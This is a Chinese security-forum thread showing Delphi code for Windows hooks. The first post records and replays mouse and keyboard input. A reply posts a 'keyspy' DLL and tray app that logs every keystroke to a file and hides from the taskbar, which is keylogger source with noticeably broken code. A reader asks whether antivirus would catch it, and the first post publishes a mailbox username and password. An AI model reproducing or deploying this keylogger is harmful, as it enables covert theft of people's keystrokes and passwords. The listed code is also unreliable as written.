论坛: 编程破解 标题: 用delphi写记录鼠标和键盘的程序 复制本贴地址    
作者: 夕阳 [cimsxiyang]    版主   登录
Windows提供API函数SetwindowsHookEx来建立一个Hook,通过这个函数可以将一个程序添加到Hook链中监视Windows
消息,函数语法为:
    SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD)
    其中参数idHook指定建立的监视函数类型。通过Windows MSDN帮助可以看到,SetwindowsHookEx函数提供15种不同
的消息监视类型,在这里我们将使用WH_JOURNALRECORD和WH_JOURNALPLAYBACK来监视键盘和鼠标操作。参数lpfn指定消
息函数,在相应的消息产生后,系统会调用该函数并将消息值传递给该函数供处理。函数的一般形式为:
    Hookproc (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;
    其中code为系统指示标记,wParam和lParam为附加参数,根据不同的消息监视类型而不同。只要在程序中建立这样
一个函数再通过SetwindowsHookEx函数将它加入到消息监视链中就可以处理消息了。
    在不需要监视系统消息时需要调用提供UnHookWindowsHookEx来解除对消息的监视。
    WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型是两种相反的Hook类型,前者获得鼠标、键盘动作消息,后者回放鼠
标键盘消息。所以在程序中我们需要建立两个消息函数,一个用于纪录鼠标键盘操作并保存到一个数组中,另一个用于
将保存的操作返给系统回放。
    下面来建立程序,在Delphi中建立一个工程,在Form1上添加3个按钮用于程序操作。另外再添加一个按钮控件和一
个Edit控件用于验证操作。
    下面是Form1的全部代码

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Edit1: TEdit;
    Button4: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

  EventArr:array[0..1000]of EVENTMSG;
  EventLog:Integer;
  PlayLog:Integer;
  hHook,hPlay:Integer;
  recOK:Integer;
  canPlay:Integer;
  bDelay:Bool;
implementation

{$R *.DFM}
Function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin
  canPlay:=1;
  Result:=0;

  if iCode < 0 then     //必须将消息传递到消息链的下一个接受单元
    Result := CallNextHookEx(hPlay,iCode,wParam,lParam)
  else if iCode = HC_SYSMODALON then
    canPlay:=0
  else if iCode = HC_SYSMODALOFF then
    canPlay:=1
  else if ((canPlay =1 )and(iCode=HC_GETNEXT)) then begin
    if bDelay then begin
      bDelay:=False;
      Result:=50;
    end;
    pEventMSG(lParam)^:=EventArr[PlayLog];
  end
  else if ((canPlay = 1)and(iCode = HC_SKIP))then begin
    bDelay := True;
    PlayLog:=PlayLog+1;
  end;
  if PlayLog>=EventLog then begin
    UNHookWindowsHookEx(hPlay);
  end;
end;

function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin
  recOK:=1;
  Result:=0;

  if iCode < 0 then
    Result := CallNextHookEx(hHook,iCode,wParam,lParam)
  else if iCode = HC_SYSMODALON then
    recOK:=0
  else if iCode = HC_SYSMODALOFF then
    recOK:=1
  else if ((recOK>0) and (iCode = HC_ACTION)) then begin
    EventArr[EventLog]:=pEventMSG(lParam)^;
    EventLog:=EventLog+1;

    if EventLog>=1000 then begin
      UnHookWindowsHookEx(hHook);
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Button1.Caption:='纪录';
  Button2.Caption:='停止';
  Button3.Caption:='回放';
  Button4.Caption:='范例';
  Button2.Enabled:=False;
  Button3.Enabled:=False;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  EventLog:=0;
  //建立键盘鼠标操作消息纪录链
  hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);
  Button2.Enabled:=True;
  Button1.Enabled:=False;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  UnHookWindowsHookEx(hHook);
  hHook:=0;

  Button1.Enabled:=True;
  Button2.Enabled:=False;
  Button3.Enabled:=True;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  PlayLog:=0;
  //建立键盘鼠标操作消息纪录回放链
  hPlay:=SetwindowsHookEx(WH_JOURNALPLAYBACK,PlayProc,
    HInstance,0);

  Button3.Enabled:=False;
end;

end.
转:http://cnprogram.myrice.com/article/delphi/delphi525.html
[该程序在2k ,delphi 6下调试通过]
需要看执行情况可以到这里取:
20cnxiyang@21cn.com
user:20cnxiyang
pass:20cnxiyang
希望不要再次出现密码被改现象





[此贴被 夕阳(cimsxiyang) 在 4月24日16时18分 编辑过]

地主 发表时间: 4/24 16:43

回复: 三尺云 [xiaojun]   剑客   登录
好用,不错的。

B1层 发表时间: 04/27 22:04

回复: 篮鱼 [guan]   论坛用户   登录
这些会不会程序会不会杀毒软件查到阿?

B2层 发表时间: 05/08 11:29

回复: 偃月狂刀 [top]   论坛用户   登录
有基础的东西吗?

这个我看不懂

B3层 发表时间: 05/10 08:10

回复: 风起 [temp2002]   论坛用户   登录
这样的文章最让大家高兴了

B4层 发表时间: 05/10 11:10

回复: 篮鱼 [guan]   论坛用户   登录
没人理我      55555555555

B5层 发表时间: 05/11 19:54

回复: 夕阳 [cimsxiyang]   版主   登录
努力提高自己,
和大家一起进步,没有谁理会和不理会谁的说法

B6层 发表时间: 05/11 20:07

回复: sainthero [sainthero]   论坛用户   登录
呵呵
大有收获


B7层 发表时间: 05/23 01:07

回复: sainthero [sainthero]   论坛用户   登录
另外我这里也有一段很不错的程序给大家分享
利用Hook技术实现键盘监控 

一、Hook(钩子)的实现: 

---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且 

处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中 

实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在 

运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现H 

ook的方式。 

---- 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程 

。代码如下: 

library keyspy; 

uses 

windows,  messages, hookproc in 'hookproc.pas'; 

exports 

setkeyhook, 

endkeyhook; 

begin 

nexthookproc:=0; 

procsaveexit:=exitproc; 

exitproc:=@keyhookexit; 

end. 

2.在Hookproc.pas中实现了钩子具体过程: 

unit hookproc; 

interface 

uses 

Windows, Messages, SysUtils, Controls, StdCtrls; 

var 

nexthookproc:hhook; 

procsaveexit:pointer; 

function    keyboardhook(icode:integer;wparam:wparam; 

               lparam:lparam):lresult;stdcall;export; 

function     setkeyhook:bool;export;//加载钩子 

function     endkeyhook:bool;export;// 对 钩子 

procedure  keyhookexit;far; 

const 

afilename='c:\debug.txt';//将键盘输入动作写入文件中 

var 

debugfile:textfile; 

implementation 

function keyboardhookhandler(icode:integer;wparam:wparam; 

lparam:lparam):lresult;stdcall;export; 

begin 

if icode<0 then 

begin 

result:=callnexthookex(hnexthookproc,icode,wparam,lparam); 

exit; 

end; 

assignfile(debugfile,afilename); 

append(debugfile); 

if getkeystate(vk_return)<0 then 

begin 

writeln(debugfile,''); 

write(debugfile,char(wparam)); 

end 

else 

write(debugfile,char(wparam)); 

closefile(debugfile); 

result:=0; 

end; 

function endkeyhook:bool;export; 

begin 

if nexthookproc<>0 then   begin 

unhookwindowshookex(nexthookproc); 

nexthookproc:=0; 

messagebeep(0);  end; 

result:=hnexthookproc=0; 

end; 

procedure keyhookexit;far; 

begin 

if nexthookproc<>0 then endkeyhook; 

exitproc:=procsaveexit; end; 

end. 

---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操 

作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData 

结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图 

标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击 

图标,则弹出一个菜单,可选择sethook或endhook。 

unit kb; 

interface 

uses 

Windows, Messages, SysUtils, Classes, 

 Graphics, Controls, Forms, 

Dialogs, 

StdCtrls, Menus,shellapi; 

const 

icon_id=1; 

MI_iconevent=wm_user+1;//定义一个用户消息 

type 

TForm1 = class(TForm) 

PopupMenu1: TPopupMenu; 

sethook1: TMenuItem; 

endhook1: TMenuItem; 

N1: TMenuItem; 

About1: TMenuItem; 

Close1: TMenuItem; 

Gettext1: TMenuItem; 

procedure FormCreate(Sender: TObject); 

procedure sethook1Click(Sender: TObject); 

procedure endhook1Click(Sender: TObject); 

procedure FormDestroy(Sender: TObject); 

procedure Close1Click(Sender: TObject); 

private 

{ Private declarations } 

nid:tnotifyicondata; 

normalicon:ticon; 

public 

{ Public declarations } 

procedure icontray(var msg:tmessage); 

message mi_iconevent; 

end; 

var 

Form1: TForm1; 

implementation 

{$R *.DFM} 

function setkeyhook:bool;external 'keyspy.dll'; 

function endkeyhook:bool;external 'keyspy.dll'; 

procedure tform1.icontray(var msg:tmessage); 

var 

pt:tpoint; 

begin 

if msg.lparam=wm_lbuttondown then 

sethook1click(self); 

if msg.LParam=wm_rbuttondown then 

begin 

getcursorpos(pt); 

setforegroundwindow(handle); 

popupmenu1.popup(pt.x,pt.y); 

end; 

end; 

procedure TForm1.FormCreate(Sender: TObject); 

begin 

normalicon:=ticon.create; 

application.title:=caption; 

nid.cbsize:=sizeof(nid); 

nid.wnd:=handle; 

nid.uid:=icon_id; 

nid.uflags:=nif_icon or nif_message or nif_tip; 

nid.ucallbackmessage:=mi_iconevent; 

nid.hIcon :=normalicon.handle; 

strcopy(nid.sztip,pchar(caption)); 

nid.uFlags:=nif_message or nif_icon or nif_tip; 

shell_notifyicon(nim_add,@nid); 

SetWindowLong(Application.Handle, 

 GWL_EXSTYLE,WS_EX_TOOLWINDOW); 

end; 

procedure TForm1.sethook1Click(Sender: TObject); 

begin 

setkeyhook; 

end; 

procedure TForm1.endhook1Click(Sender: TObject); 

begin 

endkeyhook; 

end; 

procedure TForm1.FormDestroy(Sender: TObject); 

begin 

nid.uFlags :=0; 

shell_notifyicon(nim_delete,@nid); 

end; 

procedure TForm1.Close1Click(Sender: TObject); 

begin 

application.terminate; 

end; 

---- 该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩 

子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相 

信这篇文章能对许多Delphi的初学者有所帮助。 

B8层 发表时间: 05/23 01:10

回复: 夕阳 [cimsxiyang]   版主   登录
确实很不错的
钩子函数很有用的.

B9层 发表时间: 08/28 22:06

回复: mercybirth [mercybirth]   论坛用户   登录
windows用户层钩子函数在真正的应用上使用不多,主要是在游戏开发时有一番作为。但是呢,hook device还是很有用的,呵呵,看看Regmon的源码。

B10层 发表时间: 08/31 11:38

回复: 网络王子 [yjyygywcw]   论坛用户   登录
太长,看行眼花。

B11层 发表时间: 08/07 20:13

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号